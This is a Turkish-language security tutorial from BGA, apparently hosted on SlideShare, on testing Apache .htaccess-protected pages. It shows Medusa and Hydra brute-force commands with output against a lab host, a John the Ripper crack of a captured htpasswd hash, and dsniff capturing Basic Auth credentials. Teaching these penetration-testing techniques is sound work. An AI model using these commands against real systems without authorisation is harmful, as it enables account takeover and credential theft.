SlideShare a Scribd company logo
Apache Htaccess Güvenlik
Testleri
Htaccess Korumalı Sayfalara Yönelik Güvenlik Testleri
Huzeyfe ÖNAL <honal@bga.com.tr>
1/1/2011

*Bu yazı Apache .htaccess ile korunan sayfalara yönelik gerçekleştirilebilecek saldırılar hakkında temel
bilgiler içermektedir.+
Apache Htaccess Güvenlik Testleri
Apache Htaccess Ayarları
Netcraft verilerine göre dünyadaki web sunucuların büyük bir çoğunluğu Apache web sunucu
yazılımını kullanmaktadır.
Apache web sunucu yazılımı barındırdığı çeşitli güvenlik özellikleriyle sistem yöneticilerinin
güvenlik önlemlerini almasını kolaylaştırmıştır. Bu güvenlik özelliklerinden birisi de web
sunucu altında belirli sayfalara, dizinlere parola koruması eklenebilmesi ve ip kısıtlama
koyulabilmesidir.
Bu yazıda Apache web sunucusunun en sık tercih edilen özelliklerinden biri olan htaccess
koruması ve bu korumaya yönelik gerçekleştirilebilecek temel saldırıları anlatmaktadır.
.htaccess’in diğer kullanım amaçlarını incelemek için Apache.org sitesi ziyaret edilerek bilgi
alınabilir.

Parola korumalı alan oluşturma
Meraklı gözlerden korunmak istenen alan /home/blog/test olsun. Bu dizin altına aşağıdaki
satırları içeren .htaccess dosyası koyularak web üzerinden yapılacak erişimlere kısıtlama
getirilmişi olur.
AuthUserFile /etc/.htpasswd-1
AuthGroupFile /dev/null
AuthName "Giris Yasak!"
AuthType Basic
<Limit GET POST>
require valid-user
</Limit>

Yukardaki satırlar genel olarak belirtilen dizin için sadece yetkili kullanıcıların GET, POST
istekleri gönderebilmesini sağlar. Hangi kullanıcıların yetkili olduğu ve yetki bilgileri
“/etc/.htpasswd-1” dosyasında belirtilmelidir.
Yetkili kullanıcı eklemek için kullanılacak komut htpasswd komutudur. Aşağıdaki komutla bga
adında yetkili bir kullanıcı sisteme eklenmiştir.
# htpasswd -c /etc/.htpasswd-1 bga
New password:
Re-type new password:
Adding password for user bga

Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Ayarları 1
Apache Htaccess Güvenlik Testleri
/etc/.htpasswd-1 dosyası içeriğine bakılacak olursa aşağıdaki formatta hesap bilgileri
gözükecektir. *Parola DES ile şifrelenmiş şekilde saklanmaktadır+
# cat /etc/.htpasswd-1
bga:M4VRJ3X5.K.K.
Not:htpasswd komutu çalıştırılırken –c parametresi sadece ilk kullanıcı ekleme işleminde
kullanılmalıdır.

Htaccess Güvenliği
Htaccess ile korunan sayfaların güvenliğiyle ilgili aşağıdaki durumlar söz konusu olabilir:
Htaccess korumalı alana erişen yönetici trafiğini birileri sniff edebilir.
Htaccess korumalı alanayönelik bruteforce/sözlük saldırısı gerçekleştirilebilir.
.htaccess dosyası içeriği sunucudan sızdırılabilir.
Sunucuda yüklü bileşenlere bağlı olarak htaccess koruması atlatılabilir*1+

Apache Htaccess Korumalı Sayfaların Güvenlik Testleri
Htaccess korumalı sayfalara yönelik gerçekleştirilecek ilk saldırılardan biri bruteforce/sözlük
saldırılarıdır. Bu saldırı tipinde hedef sisteme giriş için gerekli kullanıcı adı ve parola bilgileri
tahmin edilmeye çalışılır.
Htaccess korumalı herhangi bir sayfaya girilmek istendiğinde eğer web sunucuya gönderilen
bilgiler yanlışsa web sunucu Resim-1’deki gibi bir çıktı verecektir.

Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 2
Sayfaların Güvenlik Testleri
Apache Htaccess Güvenlik Testleri

Resim-1

Htaccess korumalı sayfalarda “BASIC AUTH “ kimlik doğrulama methodu kullanılır(genellikle).
BASIC AUTH destekli herhangi bir online parola test aracı bruteforce işlemleri için
kullanılabilir fakat sunduğu seçenekler ve performans değerleri göz önüne alındığında Hydra
veya Medusa araçlarının tercihi isabetli olacaktır.

Medusa/Hydra kullanarak htaccess korumalı sayfalara yönelik parola
testleri
Medusa ve Hydra benzer özelliklere sahip ağ üzerinden parola deneme(brute force) aracıdır.
Aşağıda Medusa ve Hydra yazılımları kullanarak Apache htaccess ile korunan parolalı
sayfalara ulaşmak için gerekli komutlar verilmiştir.
Medusa kullanarak .htaccess korumalı sayfaların parolasını bulma
#medusa -M http -m USER-AGENT:"Firefox-Explorer-99.1" -m DIR:/test -m AUTH:BASIC -h
10.10.10.1 -u bga -P bga-wordlist22
...
...
...
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzz (4406 of 4417 complete)
Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 3
Sayfaların Güvenlik Testleri
Apache Htaccess Güvenlik Testleri
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzy (4407 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzz (4408 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzz (4409 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzzthis (4410 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzzz (4411 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzzz (4412 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzzzzz (4413 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzzzzzzzz (4414 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: zzzzzzzzzzzzzzzzzz (4415 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: {log} (4416 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete)
Password: 0u7b00k (4417 of 4417 complete)

ACCOUNT FOUND: [http] Host: 10.10.10.1 User: bga Password: 0u7b00k [SUCCESS]

Hydra kullanarak .htaccess korumalı sayfaların parolasını bulma

# hydra -l bga -P bga-wordlist22 -f 10.10.10.1 http-get /test -vV
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-11-28 11:16:43
[DATA] 16 tasks, 1 servers, 4417 login tries (l:1/p:4417), ~276 tries per task
[DATA] attacking service http-get on port 80
...
...

[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01214nd0" - child 26 - 675 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123" - child 27 - 676 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "012301279x" - child 28 - 677 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "012307120chi1u5" - child 29 - 678 of 4417
Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 4
Sayfaların Güvenlik Testleri
Apache Htaccess Güvenlik Testleri
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123071246in3" - child 0 - 679 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123071246u5" - child 1 - 680 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230c41294" - child 2 - 681 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n" - child 3 - 682 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n7" - child 4 - 683 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n70id" - child 5 - 684 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n7id43" - child 6 - 685 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n7in3" - child 7 - 686 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0x4" - child 8 - 687 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230ph45i5" - child 9 - 688 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230ph45in3" - child 10 - 689 of 4417
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230ph45in43" - child 11 - 690 of 4417
[STATUS] attack finished for 10.10.10.1 (waiting for childs to finish)
[80][www] host: 10.10.10.1 login: bga password: 0u7b00k
[ATTEMPT] target 10.10.10.1 - login "bga" - pass "0u7b00k" - child 3 - 4417 of 4417
Hydra (http://www.thc.org) finished at 2010-11-28 11:19:33
Her iki araç da hemen hemen aynı hızlarda parola deneme işlemi yapabiliyor. Her iki aracın
da performansı sunucu kapasitesi, yapılandırımı ve bant genişliğiyle orantılıdır.

Parola tahmin işlemi bittikten sonra bulunan parola ve kullanıcı adı bilgileri kullanılarak hedef
sistemdeki korunmuş sayfalara erişilebilir [Resim-2].

Resim-2

Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 5
Sayfaların Güvenlik Testleri
Apache Htaccess Güvenlik Testleri

Ele geçirilmiş htaccess parolalarını kırma
Htaccess korumalı alanların güvenliğini tehlikeye sokacak durumlardan biri de .htaccess
dosyasının başkalarının eline geçmesidir. Eğer .htaccess ile korunan alana IP yasaklama
yoksa, yani sadece kullanıcı/parola bilgileriyle erişilebiliyorsa bu dosyanın güvenliğinin önemi
daha da artmaktadır.
Htaccess dosyasını ele geçiren bir saldırgan John The Ripper parola kırma aracını kullarak çok
kısa sürede hesap bilgilerinin açık hallerine ulaşabilir.
root@cybosec# john /tmp/htpasswd -w:/root/bt4-password.txt
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
zorparol
(bga)
guesses: 1 time: 0:00:00:01 100.00% (ETA: Sun Nov 28 11:25:04 2010) c/s: 1301K trying:
zzttdai - zorparol
JTR saniyede ortalama 1.3 milyon deneme yaparak htaccess ile koruduğumuz sayfaya ait
parola bilgisini kırmayı başardı.

Ağ trafiğinde dinleme yoluyla parola bulma
Htaccess korumalı sayfalara http üzerinden erişim sağlanıyorsa aradaki hattın güvenilir
olması çok önemlidir. http şifrelenmemiş bir protokol olduğu için arada gidip gelen tüm
veriler meraklı gözler tarafından okunabilir.
Aşağıdaki çıktı basit bir sniffer yazılımı kullanarak htaccess ile korunan alanlara erişen hesap
bilgileri rahatlıkla yakalanabileceğini göstermektedir.
root@bt# dsniff
dsniff: listening on eth0
----------------11/28/10 11:26:33 tcp 10.10.10.65.1642 -> 10.10.10.1.80 (http)
GET /test/ HTTP/1.1
Host: 10.10.10.1
Authorization: Basic YmdhOmFh [bga:aa]
GET /test/ HTTP/1.1
Host: 10.10.10.1
Authorization: Basic YmdhOnpvcnBhcm9sYQ== [bga:zorparola]

Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 6
Sayfaların Güvenlik Testleri
Apache Htaccess Güvenlik Testleri
Ek-1: Testlerde kullanılan .htaccess dosyası içeriği
AuthUserFile /tmp/passwd
AuthType Basic
AuthName "Gisli Bölge"
require valid-user

Ek-2: .htaccess için kullanılan parola dosyası.
/tmp/passwd dosyasının içeriği
bga:lQhJL2Hif1V0Q

[1]HtAccess bypass-friendfeed.

Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 7
Sayfaların Güvenlik Testleri

More Related Content

What's hot (20)

DOCX
GÜVENLİK SİSTEMLERİNİ ATLATMA
BGA Cyber Security
 
DOCX
INTERNET VE YEREL AĞ SIZMA TESTLERİ
BGA Cyber Security
 
PDF
Hosting Firmalarına Yönelik DDoS Saldırıları ve Çözüm Önerileri
BGA Cyber Security
 
PDF
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
BGA Cyber Security
 
PDF
Kablosuz Ağlar ve Güvenlik Riskleri
BGA Cyber Security
 
DOCX
SIZMA TESTLERİNDE BİLGİ TOPLAMA
BGA Cyber Security
 
PDF
Binary Modification [Patching]
BGA Cyber Security
 
PDF
Zmap Hack The Planet
BGA Cyber Security
 
DOCX
EXPLOIT POST EXPLOITATION
BGA Cyber Security
 
DOCX
VERİTABANI SIZMA TESTLERİ
BGA Cyber Security
 
DOCX
DOS DDOS TESTLERİ
BGA Cyber Security
 
PDF
Web Sunucularına Yönelik DDoS Saldırıları
BGA Cyber Security
 
DOCX
PORT TARAMA ve KEŞİF ÇALIŞMALARI
BGA Cyber Security
 
PDF
Hping Kullanarak Ağ Keşif Çalışmaları
BGA Cyber Security
 
PDF
Siber Güvenlik Yaz Kampı'17 Soruları
BGA Cyber Security
 
PPTX
Python İle Ağ Programlama
Oguzhan Coskun
 
PDF
Packet-O-Matic:Network Forensic Aracı
BGA Cyber Security
 
PDF
Empire Kurulumu ve Kullanımı
BGA Cyber Security
 
PDF
Çalıştay | DDoS Saldırıları Nasıl Gerçekleştirilir?
BGA Cyber Security
 
PDF
Veritabanı Sızma Testleri - Keşif
Ferhat Ozgur Catak
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
BGA Cyber Security
 
INTERNET VE YEREL AĞ SIZMA TESTLERİ
BGA Cyber Security
 
Hosting Firmalarına Yönelik DDoS Saldırıları ve Çözüm Önerileri
BGA Cyber Security
 
TCP/IP Ağlarda İleri Seviye Paket Analizi – Tshark
BGA Cyber Security
 
Kablosuz Ağlar ve Güvenlik Riskleri
BGA Cyber Security
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
BGA Cyber Security
 
Binary Modification [Patching]
BGA Cyber Security
 
Zmap Hack The Planet
BGA Cyber Security
 
EXPLOIT POST EXPLOITATION
BGA Cyber Security
 
VERİTABANI SIZMA TESTLERİ
BGA Cyber Security
 
DOS DDOS TESTLERİ
BGA Cyber Security
 
Web Sunucularına Yönelik DDoS Saldırıları
BGA Cyber Security
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
BGA Cyber Security
 
Hping Kullanarak Ağ Keşif Çalışmaları
BGA Cyber Security
 
Siber Güvenlik Yaz Kampı'17 Soruları
BGA Cyber Security
 
Python İle Ağ Programlama
Oguzhan Coskun
 
Packet-O-Matic:Network Forensic Aracı
BGA Cyber Security
 
Empire Kurulumu ve Kullanımı
BGA Cyber Security
 
Çalıştay | DDoS Saldırıları Nasıl Gerçekleştirilir?
BGA Cyber Security
 
Veritabanı Sızma Testleri - Keşif
Ferhat Ozgur Catak
 

Viewers also liked (20)

PDF
BGA CTF 2012 Ethical Hacking Yarışması Çözümleri
BGA Cyber Security
 
PDF
Bilgi Güvenliğinde Sızma Testleri
BGA Cyber Security
 
PDF
TCP/IP Ağlarda Parçalanmış Paketler ve Etkileri
BGA Cyber Security
 
PDF
Örnek Spam Çözümü: TTNET SMTP Portunu Engelleme
BGA Cyber Security
 
PDF
Web Application Firewall Tercih Rehberi
BGA Cyber Security
 
PDF
Kali linux
BGA Cyber Security
 
PDF
Bilgi Güvenliğinde Sızma Testleri
BGA Cyber Security
 
PDF
HTTPS Ne Kadar Güvenlidir?(sslstrip)
BGA Cyber Security
 
PDF
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA Cyber Security
 
PDF
Metasploit El Kitabı
BGA Cyber Security
 
PDF
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
BGA Cyber Security
 
PDF
FTP ve Güvenlik Duvarları
BGA Cyber Security
 
PDF
Tcpdump ile Trafik Analizi(Sniffing)
BGA Cyber Security
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
BGA Cyber Security
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
BGA Cyber Security
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
BGA Cyber Security
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
BGA Cyber Security
 
PDF
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
BGA Cyber Security
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
BGA Cyber Security
 
PDF
DDoS Saldırı Analizi - DDoS Forensics
BGA Cyber Security
 
BGA CTF 2012 Ethical Hacking Yarışması Çözümleri
BGA Cyber Security
 
Bilgi Güvenliğinde Sızma Testleri
BGA Cyber Security
 
TCP/IP Ağlarda Parçalanmış Paketler ve Etkileri
BGA Cyber Security
 
Örnek Spam Çözümü: TTNET SMTP Portunu Engelleme
BGA Cyber Security
 
Web Application Firewall Tercih Rehberi
BGA Cyber Security
 
Kali linux
BGA Cyber Security
 
Bilgi Güvenliğinde Sızma Testleri
BGA Cyber Security
 
HTTPS Ne Kadar Güvenlidir?(sslstrip)
BGA Cyber Security
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA Cyber Security
 
Metasploit El Kitabı
BGA Cyber Security
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
BGA Cyber Security
 
FTP ve Güvenlik Duvarları
BGA Cyber Security
 
Tcpdump ile Trafik Analizi(Sniffing)
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
BGA Cyber Security
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
BGA Cyber Security
 
DDoS Saldırı Analizi - DDoS Forensics
BGA Cyber Security
 
Ad

Similar to Apache Htaccess Güvenlik Testleri (20)

PPT
HTTPKullaniciAsillamaveYetkilendirme.ppt
CenkKAYA9
 
PDF
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA Cyber Security
 
PDF
Web for Pentester 2 ile Web Uygulama Güvenligine Giris
Umut Ergin
 
PPTX
Web Guvenligi Konferansi - Web Hacking Yontemleri
EPICROUTERS
 
PPTX
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
BGA Cyber Security
 
PDF
Güvenlik Testlerinde Bilgi Toplama
BGA Cyber Security
 
DOCX
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
BGA Cyber Security
 
PDF
Web Uygulama Pentest Eğitimi
BGA Cyber Security
 
PDF
Sosyal muhendislik 1
Ferhat Ozgur Catak
 
PDF
Sızma Testlerinde Parola Kırma Saldırıları
BGA Cyber Security
 
PDF
Web Güvenlik Açıkları - Web Application Vulnerabilities
MehmetKelepce
 
PDF
Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
Mehmet Kelepçe
 
PDF
Windows Sistemlerde Yetkili Hesapları İzleyerek Yanal Hareketleri Yakalama
BGA Cyber Security
 
PDF
Siber Güvenlik Kış Kampı'18 Soruları
BGA Cyber Security
 
PDF
Web Uygulamalarında Kaynak Kod Analizi - 1
Mehmet Ince
 
PDF
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Kurtuluş Karasu
 
PDF
Siber Guvenlik ve Etik Hhacking -2-
Murat KARA
 
PDF
Yasaklı
Kozmik
 
PDF
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
BGA Cyber Security
 
PDF
Web Saldırı Teknikleri & Korunma Yöntemleri
Talha Kabakus
 
HTTPKullaniciAsillamaveYetkilendirme.ppt
CenkKAYA9
 
BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1
BGA Cyber Security
 
Web for Pentester 2 ile Web Uygulama Güvenligine Giris
Umut Ergin
 
Web Guvenligi Konferansi - Web Hacking Yontemleri
EPICROUTERS
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
BGA Cyber Security
 
Güvenlik Testlerinde Bilgi Toplama
BGA Cyber Security
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
BGA Cyber Security
 
Web Uygulama Pentest Eğitimi
BGA Cyber Security
 
Sosyal muhendislik 1
Ferhat Ozgur Catak
 
Sızma Testlerinde Parola Kırma Saldırıları
BGA Cyber Security
 
Web Güvenlik Açıkları - Web Application Vulnerabilities
MehmetKelepce
 
Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
Mehmet Kelepçe
 
Windows Sistemlerde Yetkili Hesapları İzleyerek Yanal Hareketleri Yakalama
BGA Cyber Security
 
Siber Güvenlik Kış Kampı'18 Soruları
BGA Cyber Security
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Mehmet Ince
 
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Kurtuluş Karasu
 
Siber Guvenlik ve Etik Hhacking -2-
Murat KARA
 
Yasaklı
Kozmik
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
BGA Cyber Security
 
Web Saldırı Teknikleri & Korunma Yöntemleri
Talha Kabakus
 
Ad

More from BGA Cyber Security (20)

PDF
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
BGA Cyber Security
 
PDF
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
BGA Cyber Security
 
PDF
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
BGA Cyber Security
 
PDF
3. parti firma risklerinden nasıl korunulur?
BGA Cyber Security
 
PDF
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
BGA Cyber Security
 
PDF
Webinar: Popüler black marketler
BGA Cyber Security
 
PDF
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
BGA Cyber Security
 
PDF
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
BGA Cyber Security
 
PDF
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
BGA Cyber Security
 
PDF
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
BGA Cyber Security
 
PDF
Open Source Soc Araçları Eğitimi 2020-II
BGA Cyber Security
 
PDF
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
BGA Cyber Security
 
PDF
Hacklenmiş Windows Sistem Analizi
BGA Cyber Security
 
PDF
Open Source SOC Kurulumu
BGA Cyber Security
 
PDF
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
BGA Cyber Security
 
PDF
Siber Fidye 2020 Raporu
BGA Cyber Security
 
PDF
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Cyber Security
 
PDF
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
BGA Cyber Security
 
PDF
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
BGA Cyber Security
 
PDF
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
BGA Cyber Security
 
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
BGA Cyber Security
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
BGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
BGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
BGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
BGA Cyber Security
 
Webinar: Popüler black marketler
BGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
BGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
BGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
BGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
BGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
BGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
BGA Cyber Security
 
Open Source SOC Kurulumu
BGA Cyber Security
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
BGA Cyber Security
 
Siber Fidye 2020 Raporu
BGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
BGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
BGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
BGA Cyber Security
 

Apache Htaccess Güvenlik Testleri

  • 1. Apache Htaccess Güvenlik Testleri Htaccess Korumalı Sayfalara Yönelik Güvenlik Testleri Huzeyfe ÖNAL <[email protected]> 1/1/2011 *Bu yazı Apache .htaccess ile korunan sayfalara yönelik gerçekleştirilebilecek saldırılar hakkında temel bilgiler içermektedir.+
  • 2. Apache Htaccess Güvenlik Testleri Apache Htaccess Ayarları Netcraft verilerine göre dünyadaki web sunucuların büyük bir çoğunluğu Apache web sunucu yazılımını kullanmaktadır. Apache web sunucu yazılımı barındırdığı çeşitli güvenlik özellikleriyle sistem yöneticilerinin güvenlik önlemlerini almasını kolaylaştırmıştır. Bu güvenlik özelliklerinden birisi de web sunucu altında belirli sayfalara, dizinlere parola koruması eklenebilmesi ve ip kısıtlama koyulabilmesidir. Bu yazıda Apache web sunucusunun en sık tercih edilen özelliklerinden biri olan htaccess koruması ve bu korumaya yönelik gerçekleştirilebilecek temel saldırıları anlatmaktadır. .htaccess’in diğer kullanım amaçlarını incelemek için Apache.org sitesi ziyaret edilerek bilgi alınabilir. Parola korumalı alan oluşturma Meraklı gözlerden korunmak istenen alan /home/blog/test olsun. Bu dizin altına aşağıdaki satırları içeren .htaccess dosyası koyularak web üzerinden yapılacak erişimlere kısıtlama getirilmişi olur. AuthUserFile /etc/.htpasswd-1 AuthGroupFile /dev/null AuthName "Giris Yasak!" AuthType Basic <Limit GET POST> require valid-user </Limit> Yukardaki satırlar genel olarak belirtilen dizin için sadece yetkili kullanıcıların GET, POST istekleri gönderebilmesini sağlar. Hangi kullanıcıların yetkili olduğu ve yetki bilgileri “/etc/.htpasswd-1” dosyasında belirtilmelidir. Yetkili kullanıcı eklemek için kullanılacak komut htpasswd komutudur. Aşağıdaki komutla bga adında yetkili bir kullanıcı sisteme eklenmiştir. # htpasswd -c /etc/.htpasswd-1 bga New password: Re-type new password: Adding password for user bga Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Ayarları 1
  • 3. Apache Htaccess Güvenlik Testleri /etc/.htpasswd-1 dosyası içeriğine bakılacak olursa aşağıdaki formatta hesap bilgileri gözükecektir. *Parola DES ile şifrelenmiş şekilde saklanmaktadır+ # cat /etc/.htpasswd-1 bga:M4VRJ3X5.K.K. Not:htpasswd komutu çalıştırılırken –c parametresi sadece ilk kullanıcı ekleme işleminde kullanılmalıdır. Htaccess Güvenliği Htaccess ile korunan sayfaların güvenliğiyle ilgili aşağıdaki durumlar söz konusu olabilir: Htaccess korumalı alana erişen yönetici trafiğini birileri sniff edebilir. Htaccess korumalı alanayönelik bruteforce/sözlük saldırısı gerçekleştirilebilir. .htaccess dosyası içeriği sunucudan sızdırılabilir. Sunucuda yüklü bileşenlere bağlı olarak htaccess koruması atlatılabilir*1+ Apache Htaccess Korumalı Sayfaların Güvenlik Testleri Htaccess korumalı sayfalara yönelik gerçekleştirilecek ilk saldırılardan biri bruteforce/sözlük saldırılarıdır. Bu saldırı tipinde hedef sisteme giriş için gerekli kullanıcı adı ve parola bilgileri tahmin edilmeye çalışılır. Htaccess korumalı herhangi bir sayfaya girilmek istendiğinde eğer web sunucuya gönderilen bilgiler yanlışsa web sunucu Resim-1’deki gibi bir çıktı verecektir. Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 2 Sayfaların Güvenlik Testleri
  • 4. Apache Htaccess Güvenlik Testleri Resim-1 Htaccess korumalı sayfalarda “BASIC AUTH “ kimlik doğrulama methodu kullanılır(genellikle). BASIC AUTH destekli herhangi bir online parola test aracı bruteforce işlemleri için kullanılabilir fakat sunduğu seçenekler ve performans değerleri göz önüne alındığında Hydra veya Medusa araçlarının tercihi isabetli olacaktır. Medusa/Hydra kullanarak htaccess korumalı sayfalara yönelik parola testleri Medusa ve Hydra benzer özelliklere sahip ağ üzerinden parola deneme(brute force) aracıdır. Aşağıda Medusa ve Hydra yazılımları kullanarak Apache htaccess ile korunan parolalı sayfalara ulaşmak için gerekli komutlar verilmiştir. Medusa kullanarak .htaccess korumalı sayfaların parolasını bulma #medusa -M http -m USER-AGENT:"Firefox-Explorer-99.1" -m DIR:/test -m AUTH:BASIC -h 10.10.10.1 -u bga -P bga-wordlist22 ... ... ... ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzz (4406 of 4417 complete) Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 3 Sayfaların Güvenlik Testleri
